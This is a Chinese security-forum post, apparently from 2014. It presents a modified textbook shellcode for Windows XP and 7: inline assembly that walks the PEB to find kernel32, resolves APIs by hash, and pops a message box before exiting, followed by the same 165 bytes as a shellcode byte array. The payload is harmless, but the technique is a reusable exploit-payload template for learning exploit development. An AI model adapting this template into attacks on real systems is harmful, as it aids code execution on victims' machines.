首页
社区
课程
招聘
[原创]修改书中弹窗 shellcode — xp、win7 下通用
发表于: 2014-11-20 07:55 13326

[原创]修改书中弹窗 shellcode — xp、win7 下通用

2014-11-20 07:55
13326
xp sp2/sp3 win7 测试过,其它没去测

// author: failed
#include <stdio.h>

int main()
{
    LoadLibrary(_T("user32.dll"));
    _asm{
            nop
            nop
            nop
            nop
            nop

            CLD                    ; clear flag DF
            ;store hash
            push 0x1e380a6a        ;hash of MessageBoxA
            push 0x4fd18963        ;hash of ExitProcess
            push 0x0c917432        ;hash of LoadLibraryA
            mov esi,esp            ; esi = addr of first function hash
            lea edi,[esi-0xc]      ; edi = addr to start saving function address

            ; make some stack space
            xor ebx,ebx
            mov bh, 0x04              
            sub esp, ebx
            
            ; push a pointer to "user32" onto stack
            mov bx, 0x3233         ; rest of ebx is null
            push ebx
            push 0x72657375
            push esp
            
            xor edx,edx
            ; find base addr of kernel32.dll
            mov ebx, fs:[edx + 0x30]      ; ebx = PEB
            mov ecx, [ebx + 0x0c]         ; ecx = PEB_LDR_DATA
            mov ecx, [ecx + 0x0c]         ; ecx = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
            mov ecx, [ecx]                ; ecx = InLoadOrder[1] (ntdll)
            mov ecx, [ecx]                ; ecx = InLoadOrder[2] (kernel32)
            mov ebp, [ecx + 0x18]         ; ebp = [InLoadOrder[2] + 0x18] = kernel32 DllBase
                        
        find_lib_functions:
            lodsd                     ; load next hash into al and increment esi
            cmp eax, 0x1e380a6a       ; hash of MessageBoxA - trigger
                                      ; LoadLibrary("user32")
            jne find_functions
            xchg eax, ebp             ; save current hash
            call [edi - 0x8]          ; LoadLibraryA
            xchg eax, ebp             ; restore current hash, and update ebp
                                      ; with base address of user32.dll
            
        find_functions:
            pushad                       ; preserve registers
            mov eax, [ebp + 0x3c]        ; eax = start of PE header
            mov ecx, [ebp + eax + 0x78]  ; ecx = relative offset of export table
            add ecx, ebp                 ; ecx = absolute addr of export table
            mov ebx, [ecx + 0x20]        ; ebx = relative offset of names table
            add ebx, ebp                 ; ebx = absolute addr of names table
            xor edi, edi                 ; edi will count through the functions

        next_function_loop:
            inc edi                      ; increment function counter
            mov esi, [ebx + edi * 4]     ; esi = relative offset of current function name
            add esi, ebp                 ; esi = absolute addr of current function name
            cdq                          ; dl will hold hash (we know eax is small)
            
        hash_loop:
            movsx eax, byte ptr[esi]
            cmp al,ah
            jz compare_hash
            ror edx,7
            add edx,eax
            inc esi
            jmp hash_loop

        compare_hash:   
            cmp edx, [esp + 0x1c]         ; compare to the requested hash (saved on stack from pushad)
            jnz next_function_loop
            
            mov ebx, [ecx + 0x24]         ; ebx = relative offset of ordinals table
            add ebx, ebp                  ; ebx = absolute addr of ordinals table
            mov di, [ebx + 2 * edi]       ; di = ordinal number of matched function
            mov ebx, [ecx + 0x1c]         ; ebx = relative offset of address table
            add ebx, ebp                  ; ebx = absolute addr of address table
            add ebp, [ebx + 4 * edi]      ; add to ebp (base addr of module) the
                                          ; relative offset of matched function
            xchg eax, ebp                 ; move func addr into eax
            pop edi                       ; edi is last onto stack in pushad
            stosd                         ; write function addr to [edi] and increment edi
            push edi
            popad                    ; restore registers
                                     ; loop until we reach end of last hash
            cmp eax,0x1e380a6a
            jne find_lib_functions

        function_call:
            xor ebx,ebx
            push ebx               // cut string
            push 0x78787878        // push "xxxx"
            mov eax,esp            //load address of failwest
            push ebx   
            push eax
            push eax
            push ebx
            call [edi - 0x04] ;    //call MessageboxA
            push ebx
            call [edi - 0x08] ;    // call ExitProcess
            nop
            nop
            nop
            nop
    }
    return 0;
}

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x78\x78\x78\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8"  // 165 bytes msgbox shellcode for xp/win7

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 349
活跃值: (125)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
抢楼,沙发出售广告位
2014-11-20 11:43
0
游客
登录 | 注册 方可回帖
返回
//